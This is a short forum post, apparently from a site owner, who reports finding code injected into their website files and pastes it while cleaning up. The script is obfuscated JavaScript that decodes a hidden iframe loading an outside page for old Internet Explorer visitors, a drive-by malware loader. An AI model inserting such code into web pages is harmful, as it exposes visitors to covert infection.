** UPDATE **
I found the problem, in the process of cleaning files now. Not sure yet how they got access. Here's the code that was inserted. I'm not sure what it does.
Code:
<script> var s='3C696672616D65207372633D22687474703A2F2F7777772E6272656173746F6273657373696F6E2E636F6D2F73742F7A2F7374617469632E706870222077696474683D32206865696768743D32207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.substr(i,2);} var v=navigator.appVersion; if (v.indexOf('MSIE 6.0') != -1){document.write(unescape(o));}if (v.indexOf('MSIE 5.') != -1){document.write(unescape(o));}</script>